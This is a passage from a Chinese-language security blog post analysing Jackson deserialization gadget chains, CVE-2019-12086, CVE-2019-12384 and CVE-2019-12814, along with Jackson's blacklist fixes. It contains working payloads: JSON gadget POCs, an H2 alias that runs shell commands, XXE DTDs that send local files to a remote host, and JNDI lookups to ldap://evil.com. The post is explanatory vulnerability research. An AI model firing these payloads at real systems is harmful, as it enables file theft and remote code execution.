跟了一下发现其中的奥妙。在获取ProcessBuilder构造方法的逻辑中autowireConstructor()
。
先获取个数minNrOfArgs
,如果是错误POC的话,两个参数,则值为2
可以ProcessBuilder的构造方法的参数类型只有两个,一个是java.util.List
,一个是java.lang.String[]
,如果再反射获取这两个构造方法的参数的话,参数个数其实都是只有1个
和上面说的一样,两个构造方法的参数个数都是1,而这里我们传入的参数个数是2,所以匹配不到,所以就无法初始化对象。因此最终就会失败
修复 在原先的基础上增加了黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static { Set<String> s = new HashSet<String>(); s.add("org.apache.commons.collections.functors.InvokerTransformer" ); s.add("org.apache.commons.collections.functors.InstantiateTransformer" ); s.add("org.apache.commons.collections4.functors.InvokerTransformer" ); s.add("org.apache.commons.collections4.functors.InstantiateTransformer" ); s.add("org.codehaus.groovy.runtime.ConvertedClosure" ); s.add("org.codehaus.groovy.runtime.MethodClosure" ); s.add("org.springframework.beans.factory.ObjectFactory" ); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); s.add("org.apache.xalan.xsltc.trax.TemplatesImpl" ); s.add("com.sun.rowset.JdbcRowSetImpl" ); s.add("java.util.logging.FileHandler" ); s.add("java.rmi.server.UnicastRemoteObject" ); s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean" ); s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource" ); s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" ); s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource" ); s.add("com.sun.org.apache.bcel.internal.util.ClassLoader" ); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }
但是黑名单里没有包含我们这次的利用类,实际上,在调用BeanDeserializerFactory.createBeanDeserializer()时是,会调用_validateSubType
对类型进行检查。先校验黑名单,显然我们的目标类不在黑名单中,但是会继续判断是否是以”org.springframe”开头的类名。是的话循环遍历目标类的父类是否为AbstractPointcutAdvisor或AbstractApplicationContext,是的话跳出循环然后抛出异常
CVE-2019-12086 - MiniAdmin
基于MiniAdmin的利用链的,和以往反序列化执行命令的漏洞不一样,本次的反序列化读取任意文件内容,如果ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在MySQL的JDBC驱动中)这个类,那么Java应用所在的服务器上的文件,就可能被任意读取并传送到恶意的MySQL Server
影响版本 & 限制 & 依赖 版本:
限制 & 依赖:
目标服务器需存在 6.0.3 - 8.0.15 的MySQL驱动(mysql-connector-java)
1 2 3 4 5 <dependency > <groupId > mysql</groupId > <artifactId > mysql-connector-java</artifactId > <version > 8.0.11</version > </dependency >
POC 1 ["com.mysql.cj.jdbc.admin.MiniAdmin" , "jdbc:mysql://ip:port/any" ]
运行rogue server
1 python2 rogue_mysql_server.py "要读的文件"
MySQL Rogue Server
参考:https://www.mi1k7ea.com/2019/11/19/Jackson%E7%B3%BB%E5%88%97%E5%9B%9B%E2%80%94%E2%80%94CVE-2019-12086%EF%BC%88%E5%9F%BA%E4%BA%8EMiniAdmin%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
MySQL支持使用LOAD DATA LOCAL INFILE
语法,即可将客户端本地的文件中的数据insert到MySQL的某张表中。
在java的MySQL JDBC驱动中,需要设置allowLoadLocalInfile
为true,用来控制允许从本地读取文件,而默认值就是true。
协议工作过程:
用户在客户端输入:load data local file “/data.txt” into table test;
客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
服务端->客户端:把你本地的/data.txt文件发给我;
客户端->服务端:/data.txt文件的内容;
客户端发送哪个文件的内容,取决于第三步即服务端响应的想要的哪个文件,如果服务端是个恶意的MySQL,那么它可以读取客户端的任意文件内容,比如读取/etc/passwd
用户在客户端输入:load data local file “/data.txt” into table test;
客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
服务端->客户端:把你本地的/etc/passwd文件发给我;
客户端->服务端:/etc/passwd文件的内容
在大部分客户端(比如MySQL Connect/J)的实现里,第一步和第二部并非是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在建立连接之后,都会有一些查询服务器配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL服务器的连接,那么客户端所在的服务器上的所有文件都可能泄露
有很多现成的利用脚本:
https://github.com/allyshka/Rogue-MySql-Server
https://giters.com/rmb122/rogue_mysql_server
分析 这个链子蛮简单的。payload的形式和上一个是一样的,所以Jackson解析部分也可以参考上一个,不再赘述
直接断点下在MiniAdmin(String jdbcUrl)
这个构造方法中,调用栈
1 2 3 4 getInstance:230, ConnectionImpl (com.mysql.cj.jdbc) connect:226, NonRegisteringDriver (com.mysql.cj.jdbc) <init>:95, MiniAdmin (com.mysql.cj.jdbc.admin) <init>:79, MiniAdmin (com.mysql.cj.jdbc.admin)
实例化Driver后,调用其connect()方法连接我们的恶意服务端。
修复 MySQL Connector/J修复 MySQL Connector/J从8.0.15版本开始将allowLoadLocalInfile 默认值设置为false。
Jackson修复 com.mysql.cj.jdbc.admin.MiniAdmin添加到黑名单中
CVE-2019-12384 - logback
基于H2数据库自定义函数执行java代码可实现RCE的特性,通过反序列化控制连接数据库的url参数,再通过额外的一次序列化调用DriverManagerConnectionSource#getConnection
根据url触发H2数据库链接实现RCE。鸡肋的地方就是除了和之前一样的反序列化外,还需要一次序列化去调用getConnection
影响版本 & 限制 & 依赖 版本:
限制:
需要logback和H2数据库的依赖,但是用H2嵌入式数据库的场景很少见
POC
H2语句在inject.sql中,通过远程获取H2语句。以内存(mem)的方式创建数据库
1 2 3 4 5 6 7 8 9 ["ch.qos.logback.core.db.DriverManagerConnectionSource" , {"url" :"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8888/inject.sql'" }] CREATE ALIAS SHELLEXEC AS $$ void shellexec (String cmd) throws java.io.IOException { Runtime.getRuntime().exec(new String[]{"/bin/bash" , "-c" , cmd}); } $$; CALL SHELLEXEC ('open /System/Applications/Calculator.app' ) ;
H2语句直接作为payload。由于INIT
只能执行一条H2语句,所以分两次利用。第一次自定义函数,以文件的方式创建数据库test.mv.db,供第二次调用。第二次调用test.mv.db中的自定义函数。
1 2 3 4 5 ["ch.qos.logback.core.db.DriverManagerConnectionSource" ,{"url" :"jdbc:h2:file:~/tmp/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", cmd})\\; }$$;" }] ["ch.qos.logback.core.db.DriverManagerConnectionSource" , {"url" :"jdbc:h2:file:~/tmp/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('open /System/Applications/Calculator.app');" }]
H2 用户自定义函数
具体语法可参考:http://h2database.com/html/commands.html#create_alias
H2数据库,是Java实现的内存数据库,可作为嵌入式内存数据库,提供用户自定义数据库函数以及在数据库中注册函数的功能
用户自定义函数并注册到H2数据库中的过程如下:
使用java中实现自定义函数
使用H2语句将函数注册到数据库中
这里写个Demo,自定义一个TO_DATE
函数:
用户自定义的函数需注意的是:类和方法必须是public的,且方法必须是static,如果方法中使用了Connection对象需将其关闭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.seraph.bi.suite.support.h2;import java.text.SimpleDateFormat;import org.h2.tools.SimpleResultSet; ... public class Function { public static java.sql.Date to_date (String source, String format) throws ParseException { SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd" ); java.util.Date date = sdf.parse(source); return new java.sql.Date(date.getTime()); } ... }
1 2 3 4 5 语法: CREATE ALIAS [IF NOT EXISTS ] newFunctionAliasName [DETERMINISTIC ] FOR classAndMethodName本例: CREATE ALIAS TO_DATE FOR "com.seraph.bi.suite.support.h2.Function.to_date";
1 SELECT to_date('2009-1-21' ,'YYYY-MM-DD' ) from Your_Table;
除以上写法之外,同类的写法还有:
分析 payload的形式和前面两个是一样的,所以就不分析jackson解析的部分了。
反序列化部分还是会调用相应的setter,这里是DriverManagerConnectionSource#setUrl
跟一下额外的序列化部分,断点打在String s = mapper.writeValueAsString(obj);
。
在Jackson序列化过程中,会调用getter
方法来获取属性值。具体逻辑在BeanSerializerBase#serializeFields
中,先获取要序列化对象的所有属性的属性设置器,循环调用具体的属性设置器(类比反序列化的属性解析器)的serializeAsField
方法来设置属性值,其中就会调用getter方法。
先后调用getDriverClass()、getUrl()、getConnection()
三个getter方法,跟进看一下getConnection
其中调用java.sql.DriverManager#getConnection
来与url中的数据库进行连接和交互。由于url在反序列化时可控,所以可以连接H2数据库利用H2数据库可执行java代码的特性来实现RCE。
修复 Jackson在2.9.9.1版本中添加了ch.qos.logback.core.db.DriverManagerConnectionSource类的黑名单
基于XSLTransformer构造方法中触发的XXE漏洞
影响版本 & 限制 & 依赖 版本:
依赖:
jackson-annotations-2.9.9,jackson-core-2.9.9,jackson-databind-2.9.9,jdom2-2.0.6
限制:
需要 JDOM 1.x 或 JDOM 2.x 的依赖
POC
1 ["org.jdom2.transform.XSLTransformer", "http://127.0.0.1:7777/xxe.xml"]
1 2 3 4 5 6 7 8 9 10 11 // xxe.xml <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///Users/a861881/tmp/flag" > <!ENTITY % remote SYSTEM "http://127.0.0.1:7777/xxe.dtd" > %remote; %get; %send; ]> // xxe.dtd <!ENTITY % get "<!ENTITY % send SYSTEM 'http://127.0.0.1:8888/%file;'>" >
分析 前面解析Jackson的部分还是一样,直接看XSLTransformer解析XXE的部分。调试发现会先调用XSLTransformer的构造方法,在这里打个断点
先调用TransformerFactory.newInstance()
初始化一个TransformerFactoryImpl
,再调用其newTemplates
来解析
在该方法中,先初始化一些XML的解析配置选项(feature),再调用xsltc.compile
来解析XML
调用前面初始化的Parser的parse方法继续解析XML的抽象语法树
继续跟进该方法,发现熟悉的部分,后面就是SAXParser.parse()
来解析XML了。具体的解析流程和Weblogic XMLDecoder的部分是一样的,因为都是使用的SAXParser来解析。之后就会触发XXE漏洞了。
关于Java的XXE漏洞,官方建议SAXParser在解析XML时,设置以下选项来防御XXE漏洞
1 2 3 4 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); factory.setFeature("http://xml.org/sax/features/external-general-entities" , false ); factory.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd" , false );
而在XSLTransformer初始化到SAXParser.parse()解析XML的过程中,设置的选项不足以防御XXE漏洞,仅仅设置了一个无关安全的选项
1 2 factory.setFeature(Constants.NAMESPACE_FEATURE,true );
修复 Jackson在2.9.9.1版本中添加了该JDOM类的黑名单。
黑名单可以在com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator
查看
1 2 3 s.add("org.jdom.transform.XSLTransformer" ); s.add("org.jdom2.transform.XSLTransformer" );
目前为止黑名单 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 protected final static String PREFIX_SPRING = "org.springframework." ;protected final static String PREFIX_C3P0 = "com.mchange.v2.c3p0." ;s.add("org.apache.commons.collections.functors.InvokerTransformer" ); s.add("org.apache.commons.collections.functors.InstantiateTransformer" ); s.add("org.apache.commons.collections4.functors.InvokerTransformer" ); s.add("org.apache.commons.collections4.functors.InstantiateTransformer" ); s.add("org.codehaus.groovy.runtime.ConvertedClosure" ); s.add("org.codehaus.groovy.runtime.MethodClosure" ); s.add("org.springframework.beans.factory.ObjectFactory" ); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); s.add("org.apache.xalan.xsltc.trax.TemplatesImpl" ); s.add("com.sun.rowset.JdbcRowSetImpl" ); s.add("java.util.logging.FileHandler" ); s.add("java.rmi.server.UnicastRemoteObject" ); s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean" ); s.add("org.springframework.aop.config.MethodLocatingFactoryBean" ); s.add("org.springframework.beans.factory.config.BeanReferenceFactoryBean" ); s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource" ); s.add("com.sun.org.apache.bcel.internal.util.ClassLoader" ); s.add("org.hibernate.jmx.StatisticsService" ); s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" ); s.add("org.apache.ibatis.parsing.XPathParser" ); s.add("jodd.db.connection.DataSourceConnectionProvider" ); s.add("oracle.jdbc.connector.OracleManagedConnectionFactory" ); s.add("oracle.jdbc.rowset.OracleJDBCRowSet" ); s.add("org.slf4j.ext.EventData" ); s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor" ); s.add("com.sun.deploy.security.ruleset.DRSHelper" ); s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl" ); s.add("org.jboss.util.propertyeditor.DocumentEditor" ); s.add("org.apache.openjpa.ee.RegistryManagedRuntime" ); s.add("org.apache.openjpa.ee.JNDIManagedRuntime" ); s.add("org.apache.openjpa.ee.WASRegistryManagedRuntime" ); s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo" ); s.add("com.mysql.cj.jdbc.admin.MiniAdmin" ); s.add("ch.qos.logback.core.db.DriverManagerConnectionSource" ); s.add("org.jdom.transform.XSLTransformer" ); s.add("org.jdom2.transform.XSLTransformer" ); s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup" ); s.add("net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup" ); s.add("ch.qos.logback.core.db.JNDIConnectionSource" ); s.add("com.zaxxer.hikari.HikariConfig" ); s.add("com.zaxxer.hikari.HikariDataSource" ); s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider" ); s.add("org.apache.commons.configuration.JNDIConfiguration" ); s.add("org.apache.commons.configuration2.JNDIConfiguration" ); s.add("org.apache.xalan.lib.sql.JNDIConnectionPool" ); s.add("com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool" ); s.add("org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS" ); s.add("org.apache.commons.dbcp.datasources.PerUserPoolDataSource" ); s.add("org.apache.commons.dbcp.datasources.SharedPoolDataSource" ); s.add("com.p6spy.engine.spy.P6DataSource" ); s.add("org.apache.log4j.receivers.db.DriverManagerConnectionSource" ); s.add("org.apache.log4j.receivers.db.JNDIConnectionSource" ); s.add("net.sf.ehcache.transaction.manager.selector.GenericJndiSelector" ); s.add("net.sf.ehcache.transaction.manager.selector.GlassfishSelector" ); s.add("org.apache.xbean.propertyeditor.JndiConverter" ); s.add("org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" ); s.add("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" ); s.add("br.com.anteros.dbcp.AnterosDBCPConfig" ); s.add("br.com.anteros.dbcp.AnterosDBCPDataSource" ); s.add("javax.swing.JEditorPane" ); s.add("javax.swing.JTextPane" ); s.add("org.apache.shiro.realm.jndi.JndiRealmFactory" ); s.add("org.apache.shiro.jndi.JndiObjectFactory" ); s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" ); s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory" ); s.add("org.quartz.utils.JNDIConnectionProvider" ); s.add("org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory" ); s.add("org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory" ); s.add("com.caucho.config.types.ResourceRef" ); s.add("org.aoju.bus.proxy.provider.RmiProvider" ); s.add("org.aoju.bus.proxy.provider.remoting.RmiProvider" ); s.add("org.apache.activemq.ActiveMQConnectionFactory" ); s.add("org.apache.activemq.ActiveMQXAConnectionFactory" ); s.add("org.apache.activemq.spring.ActiveMQConnectionFactory" ); s.add("org.apache.activemq.spring.ActiveMQXAConnectionFactory" ); s.add("org.apache.activemq.pool.JcaPooledConnectionFactory" ); s.add("org.apache.activemq.pool.PooledConnectionFactory" ); s.add("org.apache.activemq.pool.XaPooledConnectionFactory" ); s.add("org.apache.activemq.jms.pool.XaPooledConnectionFactory" ); s.add("org.apache.activemq.jms.pool.JcaPooledConnectionFactory" ); s.add("org.apache.commons.proxy.provider.remoting.RmiProvider" ); s.add("org.apache.commons.jelly.impl.Embedded" ); s.add("oadd.org.apache.xalan.lib.sql.JNDIConnectionPool" ); s.add("oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS" ); s.add("oadd.org.apache.commons.dbcp.datasources.PerUserPoolDataSource" ); s.add("oadd.org.apache.commons.dbcp.datasources.SharedPoolDataSource" ); s.add("oracle.jms.AQjmsQueueConnectionFactory" ); s.add("oracle.jms.AQjmsXATopicConnectionFactory" ); s.add("oracle.jms.AQjmsTopicConnectionFactory" ); s.add("oracle.jms.AQjmsXAQueueConnectionFactory" ); s.add("oracle.jms.AQjmsXAConnectionFactory" ); s.add("org.jsecurity.realm.jndi.JndiRealmFactory" ); s.add("com.pastdev.httpcomponents.configuration.JndiConfiguration" ); s.add("com.nqadmin.rowset.JdbcRowSetImpl" ); s.add("org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl" ); s.add("org.apache.commons.dbcp2.datasources.PerUserPoolDataSource" ); s.add("org.apache.commons.dbcp2.datasources.SharedPoolDataSource" ); s.add("org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS" ); s.add("com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource" ); s.add("com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource" ); s.add("org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS" ); s.add("org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource" ); s.add("org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource" ); s.add("org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS" ); s.add("org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource" ); s.add("org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource" ); s.add("com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool" ); s.add("org.docx4j.org.apache.xalan.lib.sql.JNDIConnectionPool" );
其他POC POC还有很多很多,可以参考黑名单上的类自己去找一找。而且,适用与Fastjson的POC大部分也适用于Jackson。
1 2 3 4 5 6 7 8 9 10 11 ["org.springframework.context.support.GenericGroovyApplicationContext" , "http://127.0.0.1:8000/spel.xml" ] ["com.mchange.v2.c3p0.JndiRefForwardingDataSource" ,{"jndiName" : "ldap://localhost:1389/Exploit" ,"loginTimeout" :0 }] ["com.sun.rowset.JdbcRowSetImpl" ,{"dataSourceName" : "ldap://localhost:1389/Exploit" , "autoCommit" :true }] ["org.apache.openjpa.ee.RegistryManagedRuntime" ,{"registryName" : "ldap://127.0.0.1:1389/Test1" , "rollbackOnly" : null }] ["org.apache.openjpa.ee.JNDIManagedRuntime" , {"transactionManagerName" : "ldap://evil.com:1389/Test1" , "rollbackOnly" : null }] ["org.apache.axis2.transport.jms.JMSOutTransportInfo" , "jms:/ldap://evil.com:1389/Test1" ]
参考 https://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB/#
https://www.mi1k7ea.com/2019/11/13/Jackson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/
https://www.mi1k7ea.com/2019/11/16/Jackson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%94CVE-2017-7525%EF%BC%88%E5%9F%BA%E4%BA%8ETemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
https://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
https://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
https://www.mi1k7ea.com/2019/11/19/Jackson%E7%B3%BB%E5%88%97%E5%9B%9B%E2%80%94%E2%80%94CVE-2019-12086%EF%BC%88%E5%9F%BA%E4%BA%8EMiniAdmin%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
https://www.mi1k7ea.com/2019/11/22/Jackson%E7%B3%BB%E5%88%97%E4%BA%94%E2%80%94%E2%80%94CVE-2019-12384%EF%BC%88%E5%9F%BA%E4%BA%8Elogback%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
https://www.mi1k7ea.com/2019/11/24/Jackson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%94CVE-2019-12814%EF%BC%88%E5%9F%BA%E4%BA%8EJDOM-XSLTransformer%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
https://www.mi1k7ea.com/2019/11/24/Jackson%E7%B3%BB%E5%88%97%E4%B8%83%E2%80%94%E2%80%94%E5%85%B6%E4%BB%96Gadgets/